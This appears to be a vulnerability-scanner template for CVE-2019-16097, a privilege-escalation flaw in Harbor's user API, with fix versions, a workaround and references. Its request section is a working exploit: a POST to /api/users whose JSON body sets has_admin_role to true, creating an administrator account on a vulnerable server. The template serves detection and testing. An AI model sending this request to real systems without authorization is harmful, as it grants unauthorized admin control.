id: CVE-2019-16097 info: name: Harbor Enables Privilege Escalation From Zero to admin author: pikpikcu severity: critical description: | core/api/user.go in Harbor 1.7.0 through 1.8.2 allows non-admin users to create admin accounts via the POST /api/users API, when Harbor is setup with DB as authentication backend and allow user to do self-registration. Fixed version: v1.7.6 v1.8.3. v.1.9.0. Workaround without applying the fix: configure Harbor to use non-DB authentication backend such as LDAP. reference: - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/ - https://github.com/goharbor/harbor/issues/8951 tags: cve,cve2019,intrusive,harbor requests: - method: POST path: - '{{BaseURL}}/api/users' headers: Content-Type: application/json body: | {"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@example.com", "realname": "poc"} matchers-condition: and matchers: - type: word words: - "username has already been used" - "Location: /api/users/" part: all condition: or - type: status status: - 201 - 409 condition: or